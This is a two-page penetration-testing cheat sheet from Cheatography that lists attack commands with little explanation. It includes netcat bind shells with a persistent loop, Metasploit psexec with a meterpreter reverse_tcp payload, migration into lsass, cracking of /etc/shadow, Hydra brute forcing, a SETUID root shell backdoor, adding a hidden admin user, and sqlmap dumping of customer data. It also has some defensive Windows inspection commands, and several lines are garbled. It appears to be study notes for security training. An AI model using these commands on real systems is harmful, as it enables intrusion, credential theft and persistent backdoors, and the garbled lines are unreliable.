

### Nmap

```
nmap -A <target> --reason -o <file>
nmap -p port(s) target --reason
nmap -sV -p port(s) target --reason
nmap -p <port> --script http-enum <target>
scripts: http-enum, http-title, smb-os-discovery, smb-brute
```

### Netcat

```
nc -lvp 7777 create listener
nc -nv <IP> <Port> connect
nc -l nvp Port -e /bin/sh
nc -lvp Port -e cmd.exe
while [ 1 ]; do echo "Started"; set up
nc -lvp [port] -e /bin/sh; done persistent listener
```

### Wmic

Wmic process list brief

Wmic process where name="<process.exe>" list full

Wmic process where processid="<PID>" list full

Wmic process where processid="<PID>" get name,commandline,processid,parentprocessid

Wmic process where name="<process.exe>" get name,commandline,processid,parentprocessid

Wmic startup

### Regedit and Startup

HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\

sc query | more Windows services

Tasklist /svc shows Process, PID, services

Taskschd.msc task scheduler GUI

schtasks | more CLI show scheduled tasks

schtasks /delete /tn <taskname> Delete a scheduled task

Lusrmgr.msc local users and groups GUI

secpol.msc local security policy GUI

check local policies, audit policy, audit logon events

reg query <HKEY...> shows whats in the registry key

### DNS

nslookup from Windows

server <IP>

ls -d target.tgt

dig @<IP> target.tgt -t from Unix AXFR

attempt a zone transfer from a Windows System

### Metasploit

```
search keyword type:exploit
use exploit/windows/smb/psexec
set SMBUser <admin_user>
set SMBPass <admin_pass>
set SMBDomain <windows domain>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
set RHOST <target>
```

### Meterpreter

```
migrate -N lsass.exe
shell background
route add <targetIP> <subnetMask> 1 pivot through session 1 when targeting <targetIP>
```

### John The Ripper

```
unshadow /etc/passwd /etc/shadow > /tmp/combined
john /tmp/combined
john <hashfile> (LANMAN Hash)
john --format=NT <hashfile> (NT Hash)
```

Delete john.pot when you want to restart a cracking session. otherwise, it starts where it left off

### Hydra

```
hydra -l <username> -p <password> ssh://<targetIP>
hydra -l <username> -P <passwordList.txt> ssh://<targetIP>
hydra -L <usernameList.txt> -p <password> ssh://<targetIP>
```

### SSH, SMB, FTP



By nullmoniker

[cheatography.com/nullmoniker/](https://cheatography.com/nullmoniker/)

Not published yet.  
Last updated 4th June, 2022.  
Page 1 of 2.

Sponsored by [Readable.com](https://readable.com)  
Measure your website readability!  
<https://readable.com>

### SETUID shells

```
find / - uid 0 - type f - perm - 4000 2>|- dev/null
```

find files starting at root directory, owned by root, are a file type (not directory), and have SETUID bit set. send errors to /dev/null.

```
cp /bin/sh /tmp/backdoor
```

```
sudo chown root:root /tmp/backdoor
```

```
sudo chmod 4755 /tmp/backdoor
```

```
/tmp/backdoor -p
```

```
find files starting at root directory, owned by root, are a file type (not directory), and have SETUID bit set. send errors to /dev/null.
```

### Windows Net, SMBclient, SSH

```
net user /add <username> <password>
```

```
net localgroup administrators /add <username>
```

```
net user username /delete
```

```
net use * \\target\C$ password /u:targetIP-username
```

```
net use * /d /y
```

```
smbclient -U username -L server -m SMB3
```

```
smbclient -U username //server/C$ -m SMB3
```

```
smbclient -U DOM\username //server/C$ -m SMB3
```

```
ssh username@hostname
```

```
scp username@hostname:/path/to/file ./
```

copy to local host

```
scp file file username@hostname:
```

copy file to remote host

### Alternate Data Streams

```
dir /r
```

show ADS in CMD

```
Get-Item -Path -Stream
```

show ADS in Powershell

```
lads C:\ /S
```

search for ADS streams using LADS

```
lads C:\ /S | findstr /V "Error 1921"
```

filter out LADS errors

```
more < file:streamName
```

get ADS content in CMD

```
Get-Content -Path filepath -Stream streamName
```

get ADS content in Powershell

### wget and curl

```
wget <URL/file-name.txt>
```

download a file locally

```
wget -qO- <URL/file-name.txt>
```

download and display file contents

```
curl -iL <URL/file-name.txt>
```

display server header response

```
curl -O file-name.txt <URL/file-name.txt>
```

download a file locally

```
curl --silent -b "cookie-name=cookie-value" <URL/file-name.txt>
```

download and display file, suppressing progress, with specified cookie

### SQLi

```
sqlmap -u 'URL/page-amp;param=1?param=2'
```

always start with valid URL, in quotes

```
sqlmap -u 'http://www[...]=1?param=2' --dbs
```

enumerate databases

```
sqlmap -u 'http://www[...]=1?param=2' -D dbname --tables
```

enum tables in selected database dbname

```
sqlmap -u 'http://www[...]=1?param=2' -D dbname -T customers --dump
```

retrieve all rows in the customers dbname.customers table



By nullmoniker

[cheatography.com/nullmoniker/](https://cheatography.com/nullmoniker/)

Not published yet.

Last updated 4th June, 2022.

Page 2 of 2.

Sponsored by [Readable.com](https://readable.com)

Measure your website readability!

<https://readable.com>